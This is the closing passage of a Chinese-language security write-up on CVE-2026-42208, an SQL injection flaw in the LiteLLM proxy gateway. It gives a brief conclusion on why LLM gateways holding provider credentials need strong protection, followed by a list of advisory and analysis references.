LLM 基础设施是高价值攻击目标:LLM 代理网关集中存储所有上游提供商凭据,一旦被攻破等同于企业整个 AI 基础设施沦陷。在 AI 快速发展的当下,LLM 基础设施的安全应当获得与传统核心基础设施同等的重视程度。
参考资料
- GitHub Security Advisory (GHSA-r75f-5x8p-qvmc): https://github.com/advisories/GHSA-r75f-5x8p-qvmc
- LiteLLM v1.83.7-stable Release: https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable
- NVD CVE-2026-42208: https://nvd.nist.gov/vuln/detail/CVE-2026-42208
- 网宿安全演武实验室漏洞分析: https://blog.csdn.net/WangsuSecurity/article/details/162494900
- Ostorlab 技术分析: https://blog.ostorlab.co/cve-2026-42208-sqli-litellm.html
- CWE-89: https://cwe.mitre.org/data/definitions/89.html
- PostgreSQL dblink 文档: https://www.postgresql.org/docs/current/dblink.html
浙公网安备 33010602011771号